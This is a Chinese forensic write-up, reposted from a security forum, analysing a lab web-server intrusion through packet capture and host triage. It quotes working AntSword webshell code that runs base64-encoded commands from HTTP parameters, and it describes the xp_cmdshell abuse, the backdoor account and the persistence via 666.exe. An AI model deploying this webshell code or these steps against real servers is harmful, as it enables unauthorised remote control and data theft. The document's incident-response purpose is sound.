转载于先知社区,原文地址:https://xz.aliyun.com/t/15335
一、流量分析
(一)、排查攻击者IP地址
步骤一:协议分级统计
在协议分级统计中可以看到,应用层中涉及的协议主要是HTTP协议,可以初步判断该攻击事件为Web攻击事件
步骤二:会话统计
这里查看IPV4流量的统计信息,可以看到在该流量包中主要是192.168.78.142和192.168.78.1之间的通信流量占绝大部分,其次是192.168.78.142和192.168.78.134,最后是192.168.78.142和192.168.78.2,可以初步怀疑192.168.78.1、192.168.78.134、192.168.78.2这三个其中一个两个甚至三个攻击者的ip.
怀疑的ip
192.168.78.1
192.168.78.134
192.168.78.2
从535数据包开始,攻击者就开始对服务器端口扫描,193656才结束
最后扫描出开放了web端口27689
步骤三:流量筛选分析
已知攻击事件为Web攻击,可以在WireShark的显示过滤器中过滤HTTP流量。
http
根据上面的信息,发现主要ip是192.168.78.1
可确定攻击者ip就为192.168.78.1
192.168.78.1
(二)、攻击行为分析
步骤一:后台目录Fuzz阶段分析
到现在我们已经可以确定192.168.78.1 为攻击者IP,并且针对服务器A的Web应用进行攻击。那么接下来就要梳理其攻击过程,这里通过流量包进行分析。我们可以直接过滤攻击者IP相关的HTTP协议流量进行排查。在WireShark显示过滤器中使用以下过滤规则:
ip.addr==192.168.78.1 && http
步骤二:后台登陆界面口令爆破攻击分析
打开流量发现,攻击者在进行爆破后台账户密码,服务器回复的显示用户不存在。
不难发现,攻击者在进行目录扫描攻击
起初攻击者在针对Web站点的目录进行Fuzz,试图找出Web站点现有的Webshell、后台管理地址等敏感目录,特征也很明显,HTTP请求都是针对Web敏感目录的GET请求,且服务器返回的响应绝大多数都是404 Not Found。
扫描到web.config.bak时,看到了密码
发现攻击者下载了这个文件
下面的流量发现,攻击者用密码登录了后台,从32644包开始,攻击者就开始在后台进行操作
步骤三:攻击者尝试下载文件服务器的文件
步骤四:获取上传文件所在的路径
根据服务器的返回,服务器没有找到这个文件,返回一个报错信息,报错信息中爆出了文件的绝对路径
尝试文件路径是否正确,最后测试成功,上传的图片路径如下
/upfile/affix/638566380966461055-aaaaaaaa.aspx
步骤五:通过后台管理功能上传第一个Webshell,获得执行系统命令权限。
从这个包开始,攻击者使用webshell连接工具进行连接,发现名为636624422343506512-aaaaaaaa.aspx的木马文件
追踪该http流
根据解码发现,这是蚁剑的流量,webshell密码为chopper
攻击者进行的操作
遍历目录:
这段代码主要是用来解析一个Base64编码的字符串,将其解码成一个目录路径,然后列出该目录下的所有子目录和文件。具体来说,它会输出每个子目录和文件的名称、最后修改时间、大小(对于文件)、以及属性。以下是对代码的详细解释:
var D = System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["o333dffee79d8c"].substr(2)));
1.
Request.Item["o333dffee79d8c"].substr(2)
:从HTTP请求的参数o333dffee79d8c
中获取值,并去掉前两个字符。2.
System.Convert.FromBase64String
:将去掉前两个字符后的值从Base64编码解码为字节数组。3.
System.Text.Encoding.GetEncoding("GBK").GetString
:将解码后的字节数组转换为GBK编码的字符串,存储在变量D
中。var m = new System.IO.DirectoryInfo(D);4.
new System.IO.DirectoryInfo(D)
:创建一个DirectoryInfo
对象,表示目录D
,用于获取该目录的信息。var s = m.GetDirectories();5.
m.GetDirectories()
:获取目录D
中的所有子目录,并存储在变量s
中。var P:String;
var i;
function T(p:String):String { return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss"); }
1. 变量声明 :
* `P`: 用于存储每个子目录或文件的完整路径。
* `i`: 用于循环迭代。
1. 函数声明 :
* `T(p:String):String`:接受一个文件路径`p`,返回该文件的最后修改时间,格式为`"yyyy-MM-dd HH:mm:ss"`。
for(i in s){
P = D + s[i].Name;
Response.Write(s[i].Name+"/\t"+ T(P)+"\t0\t"+(s[i].Attributes)+"\n");
}
1. 遍历所有子目录 :
* `P = D + s[i].Name`:计算每个子目录的完整路径。
*`Response.Write`:将子目录的名称、最后修改时间、固定大小(0),以及属性写入响应。
s = m.GetFiles();
for(i in s){
P = D + s[i].Name;
Response.Write(s[i].Name+"\t"+ T(P)+"\t"+ s[i].Length+"\t"+(s[i].Attributes)+"\n");
}
1. 获取目录中的所有文件 :
* `s = m.GetFiles()`:获取目录`D`中的所有文件,并存储在变量`s`中。
1. 遍历所有文件 :*
P = D + s[i].Name
:计算每个文件的完整路径。*Response.Write
:将文件的名称、最后修改时间、文件大小,以及属性写入响应。
这段代码的主要功能是:
1. 从HTTP请求参数中获取Base64编码的字符串,并解码为目录路径。
2. 获取该目录下的所有子目录和文件。
3. 输出每个子目录和文件的详细信息,包括名称、最后修改时间、大小(对于文件)、以及属性。
这段代码用于获取服务器上的逻辑驱动器、当前路径、操作系统版本和当前用户名,并将这些信息输出。以下是对每一部分的详细解释:
var c = System.IO.Directory.GetLogicalDrives();
1.
System.IO.Directory.GetLogicalDrives()
:获取计算机上所有的逻辑驱动器(例如C:, D:\等)的列表,并将其存储在变量c
中。Response.Write(Server.MapPath(".") + "\t");2.
Server.MapPath(".")
:获取当前请求的服务器端路径(即当前目录的物理路径),并将其输出。\t
表示一个制表符,用于在输出中分隔字段。for (var i = 0; i <= c.length - 1; i++) Response.Write(c[i][0] + ":");3. 循环遍历所有逻辑驱动器 :
* `for (var i = 0; i <= c.length - 1; i++)`:遍历逻辑驱动器列表`c`中的每个驱动器。
* `Response.Write(c[i][0] + ":");`:输出每个逻辑驱动器的首字母加上冒号(例如C:, D:)。
Response.Write("\t" + Environment.OSVersion + "\t");
1.
Environment.OSVersion
:获取操作系统的版本信息,并将其输出。\t
表示制表符,用于分隔字段。Response.Write(Environment.UserName);2.
Environment.UserName
:获取当前用户的用户名,并将其输出。
这段代码执行以下操作:
1. 获取服务器上的所有逻辑驱动器。
2. 获取当前请求的服务器端路径。
3. 获取操作系统的版本信息。
4. 获取当前用户名。
这段代码是一个用于在服务器上执行命令并获取输出的ASP.NET脚本。代码通过从HTTP请求中获取Base64编码的命令字符串,并执行该命令,然后返回命令的标准输出和标准错误输出。以下是对代码的详细解释:
var c = new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["x4487feb1efaef"].substr(2))));
1.
Request.Item["x4487feb1efaef"].substr(2)
:从HTTP请求中获取参数x4487feb1efaef
的值,并去掉前两个字符。2.
System.Convert.FromBase64String
:将去掉前两个字符后的值从Base64编码解码为字节数组。3.
System.Text.Encoding.GetEncoding("GBK").GetString
:将解码后的字节数组转换为GBK编码的字符串。4.
new System.Diagnostics.ProcessStartInfo
:创建一个ProcessStartInfo
对象c
,表示要启动的进程信息。var e = new System.Diagnostics.Process();
var out: System.IO.StreamReader, EI: System.IO.StreamReader;
1. 创建进程和流读取器 :
* `new System.Diagnostics.Process()`:创建一个新的`Process`对象`e`,表示要启动的进程。
*`System.IO.StreamReader`:声明两个`StreamReader`对象`out`和`EI`,分别用于读取标准输出和标准错误输出。
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
1. 配置进程启动信息 :
* `c.UseShellExecute = false`:不使用操作系统的外壳程序来启动进程。
* `c.RedirectStandardOutput = true`:重定向标准输出。
* `c.RedirectStandardError = true`:重定向标准错误输出。
e.StartInfo = c;
1. 设置进程的启动信息 :将
ProcessStartInfo
对象c
赋值给Process
对象e
的StartInfo
属性。c.Arguments = "/c " + System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["q3aed900b95ec1"].substr(2)));2. 设置命令行参数 :
* `Request.Item["q3aed900b95ec1"].substr(2)`:从HTTP请求中获取参数`q3aed900b95ec1`的值,并去掉前两个字符。
***将去掉前两个字符后的值从Base64编码解码为字节数组,并转换为GBK编码的字符串**。
*`"/c "`:表示在命令行中运行该命令,然后终止。
***将解码后的字符串与**`"/c "`**连接起来**,并赋值给`c.Arguments`。
if(Request.Item["ebed910c3b1725"].substr(2)){
var envstr =System.Text.Encoding.GetEncoding("GBK").GetString(System.Convert.FromBase64String(Request.Item["ebed910c3b1725"].substr(2)));
var envarr = envstr.split("|||asline|||");
var i;
for(var i in envarr){
var ss = envarr[i].split("|||askey|||");
if(ss.length !=2){
continue;
}
c.EnvironmentVariables.Add(ss[0], ss[1]);
}
}
1. 设置环境变量 (如果存在):
* `Request.Item["ebed910c3b1725"].substr(2)`:从HTTP请求中获取参数`ebed910c3b1725`的值,并去掉前两个字符。
***将去掉前两个字符后的值从Base64编码解码为字节数组,并转换为GBK编码的字符串**。
***将解码后的字符串按照**`"|||asline|||"`**分割成多个环境变量字符串**。
***遍历每个环境变量字符串**,将其按照`"|||askey|||"`再次分割成键值对,并添加到`c.EnvironmentVariables`中。
e.Start();
out= e.StandardOutput;
EI = e.StandardError;
e.Close();
1. 启动进程并获取输出 :
* `e.Start()`:启动进程。
* `out = e.StandardOutput`:获取进程的标准输出。
* `EI = e.StandardError`:获取进程的标准错误输出。
* `e.Close()`:关闭进程对象。
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
1. 输出结果 :
* `out.ReadToEnd()`:读取标准输出的所有内容。
* `EI.ReadToEnd()`:读取标准错误的所有内容。
* **将标准输出和标准错误的内容拼接起来,并写入HTTP响应** 。
1. 命令注入 :直接从HTTP请求中获取并执行命令存在严重的安全风险。应严格验证和过滤输入,防止恶意命令注入。
2. 环境变量 :同样需要验证和过滤,以防止环境变量设置中的恶意行为。
3. 执行权限 :确保只有授权用户才能执行这些命令,以防止未经授权的命令执行。
4. 输出内容 :输出命令执行结果可能泄露敏感信息,应根据具体情况决定是否需要过滤或隐藏部分信息。
步骤六:攻击者发现数据库管理员账户
sa cisp-pte@sa
在138549包中发现攻击者打开了web.config.bat文件,这里暴露了数据库的密码。
这里发现,有另一台主机192.168.78.2参与进来,最后发现192.168.142和192.168.78.2进行通信。
步骤七:攻击者登录数据库
下面发现攻击者访问了服务器的数据库服务
过滤出1433端口的数据流量
tcp.port == 1433
下面发现攻击者登录数据库执行了sql语句
执行的sql代码
上面这条SQL语句用于获取当前运行的Microsoft SQL Server实例的详细信息。
进行了查询操作
服务器也返回了正常的查询结果
经过排查,在下面这里利用扩展存储过程执行系统命令
步骤八:利用方法扩展存储过程(xp_cmdshell)执行系统命令
什么是xp_cmdshell呢,这里的话简单介绍一下
xp_cmdshell是Sql Server中的一个组件,我们可以用它来执行系统命令。
其作用就是执行命令,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
下面发现攻击者登录后,执行了系统命令(需要sa账户,根据前面泄露的sa账户,可以登录),添加了一个admin用户密码123456,并且加入到管理组。
创建后门用户
admin 123456
开启3389端口
步骤九:攻击者利用后门用户远程登录成功
过滤3389端口的流量,发现攻击者远程登录成功。
tcp.port == 3389
二、入侵排查
一、排查恶意用户
步骤一:使用wmic获取系统账号列表
wmic useraccount get name
上面这两个用户是非原系统用户,更具前面流量分析,这两个用户是sqlserver命令执行创建的
步骤二、使用运行命令打开事件查看器:
• 按
Win + R
打开运行窗口。• 输入
eventvwr
并按Enter
发现该用户在2024.7.15 11.30.09登录
二、排查用户组
发现admin用户被加入到了管理员组
其他用户组都正常
三、排查计划任务
任务计划里面都是admin用户创建的计划任务
经过查看发现,该任务每天19:17都会执行
另一个任务是每天11:13执行
四、排查启动项
发现启动的是这个exe软件
通过查杀软件发现,这是一个木马病毒。
微步检测出目的ip和端口,这正是流量分析中一个机器的IP
五、排查启动脚本
步骤一:打开注册表
进入【HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run】,看到名为【startup】的启动项,同样指向666.exe
步骤二:检查注册表HKEY_CURRENT_USER下的启动项
批处理文件也指向666.exe
六、排查恶意服务
发现恶意服务,路径也指向666.exe